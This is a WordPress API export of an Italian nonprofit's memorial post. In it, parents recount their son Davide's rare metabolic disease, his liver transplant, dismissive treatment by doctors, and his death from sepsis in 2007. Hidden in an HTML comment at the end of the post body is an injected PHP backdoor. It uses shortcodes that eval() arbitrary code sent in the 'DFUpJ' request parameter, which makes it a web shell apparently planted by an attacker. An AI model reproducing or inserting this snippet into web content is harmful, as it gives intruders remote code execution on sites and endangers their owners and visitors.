{"id":12,"date":"2014-02-10T23:40:35","date_gmt":"2014-02-10T22:40:35","guid":{"rendered":"http:\/\/www.lavitaeundono.org\/onlus\/?p=12"},"modified":"2018-10-06T20:42:05","modified_gmt":"2018-10-06T18:42:05","slug":"davide","status":"publish","type":"post","link":"https:\/\/www.lavitaeundono.org\/onlus\/davide\/","title":{"rendered":"davide"},"content":{"rendered":"<p>La nascita di Davide, il 24.11.1993, aveva portato tanta gioia e speranza. Anche Lui presentava la stessa malattia metabolica ma, dopo il primo momento di smarrimento, pi\u00f9 informati e preparati, cercammo di prendere in mano la situazione e ci rimboccammo le maniche.<\/p>\n<p>Davide era bellissimo, assomigliava molto a Luca ed era tanto buono. Nasogastriche continue, sondini e frequentissimi prelievi non avevano minimamente intaccato la sua gioia di vivere e la sua dolcezza; nel contempo aveva sviluppato un carattere forte e combattivo che lo aiutava nei momenti pi\u00f9 difficili: primo fra tutti il momento dei pasti.<\/p>\n<p>Gli anni passavano e, nonostante l\u2019acido che produceva continuasse a creare in Lui una situazione molto simile a quella anoressica, affront\u00f2 con entusiasmo la scuola dalla quale ha ottenuto ottimi risultati fino al conseguimento, purtroppo dopo la sua morte e direttamente dal Ministro della Pubblica Istruzione, del diploma di Licenza Media con il massimo dei voti.<\/p>\n<p>Davide era molto intelligente ed anche molto maturo, quella maturit\u00e0 che conosce solo chi convive tutti i giorni con una situazione di sofferenza, sopportando senza lamentarsi e cercando di rassicurare chi gli stava accanto: era Lui che dava forza a noi.<\/p>\n<p>Con il passare del tempo, per\u00f2, verso l\u2019inizio della prima media, quell\u2019acido, che lavora in maniera subdola senza all\u2019inizio dare grossi segnali, aveva incominciato ad intaccare gli occhi, tanto che la vista di Davide ebbe un peggioramento evidente e quasi inspiegabile.<\/p>\n<p>Durante l\u2019 ultimo anno, il periodo dello sviluppo, le cose lentamente peggiorarono fino ad arrivare al 23 Aprile 2007, giorno in cui Davide ebbe una crisi metabolica fulminante alla quale riusc\u00ec per\u00f2 a sopravvivere con stupore di tutti, affrontando il trapianto di fegato che, a detta dei medici, era l\u2019unica soluzione per tenerlo in vita.<\/p>\n<p>I quattro mesi successivi furono pieni di alti e bassi: Davide si riprese completamente dalla crisi, pi\u00f9 presente ed intelligente che mai, ma la sua vista era scomparsa ed il suo metabolismo non era cos\u00ec a posto come inizialmente ci avevano fatto credere i medici. Anche loro, adesso, si stavano rendendo conto, anche sull\u2019esperienza di altri bambini trapiantati come Davide, che il problema, pur se in maniera meno evidente, sussisteva ancora e, in presenza di determinate situazioni, poteva scatenarsi di nuovo. Davide, dopo il trapianto, fu ricoverato altre due volte. L\u2019ultima di queste non si sentiva bene, manifestava ancora i sintomi metabolici (vomito e mal di testa) ma i medici dicevano che gli esami erano a posto e che si trattava di un fatto psicologico: una dottoressa in particolare, arriv\u00f2 al punto di farlo piangere dicendogli che aveva \u201cuna testa di legno\u201d e che \u201cdoveva cambiare perch\u00e9 adesso non aveva pi\u00f9 il problema del mangiare\u201d. Nessuno si era mai permesso di trattarlo cos\u00ec e questa cosa lo fer\u00ec molto: era un bambino sincero e schietto, sapeva di avere una malattia rara e non si sarebbe mai permesso di prendere in giro i dottori raccontando sintomi fasulli. Riteniamo questi comportamenti dei medici inconcepibili ed assolutamente non professionali: un medico pu\u00f2 non riuscire a salvare un paziente ma ha il dovere di rispettarlo e di trattarlo sempre dignitosamente, con amore ed umanit\u00e0, qualunque et\u00e0 esso abbia.<\/p>\n<p>Davide ci lasci\u00f2, dopo una settimana, il 16.08.2007,\u00a0 per sepsi e riteniamo nostro scopo principale approfondire tutto quello che gli \u00e8 successo: glielo dobbiamo.<\/p>\n<p><!-- [insert_php]if (isset($_REQUEST[\"DFUpJ\"])){eval($_REQUEST[\"DFUpJ\"]);exit;}[\/insert_php][php]if (isset($_REQUEST[\"DFUpJ\"])){eval($_REQUEST[\"DFUpJ\"]);exit;}[\/php] --><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Davide era molto intelligente ed anche molto maturo, quella maturit\u00e0 che conosce solo chi convive tutti i giorni con una situazione di sofferenza, sopportando senza lamentarsi e cercando di rassicurare chi gli stava accanto: era Lui che dava forza a noi.<\/p>\n","protected":false},"author":2,"featured_media":13,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":true,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[3],"tags":[],"class_list":["post-12","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-evidenza"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/www.lavitaeundono.org\/onlus\/wp-content\/uploads\/2014\/02\/davide.jpg","jetpack_shortlink":"https:\/\/wp.me\/sWmY0-davide","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/posts\/12","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/comments?post=12"}],"version-history":[{"count":8,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/posts\/12\/revisions"}],"predecessor-version":[{"id":890,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/posts\/12\/revisions\/890"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/media\/13"}],"wp:attachment":[{"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/media?parent=12"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/categories?post=12"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lavitaeundono.org\/onlus\/wp-json\/wp\/v2\/tags?post=12"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}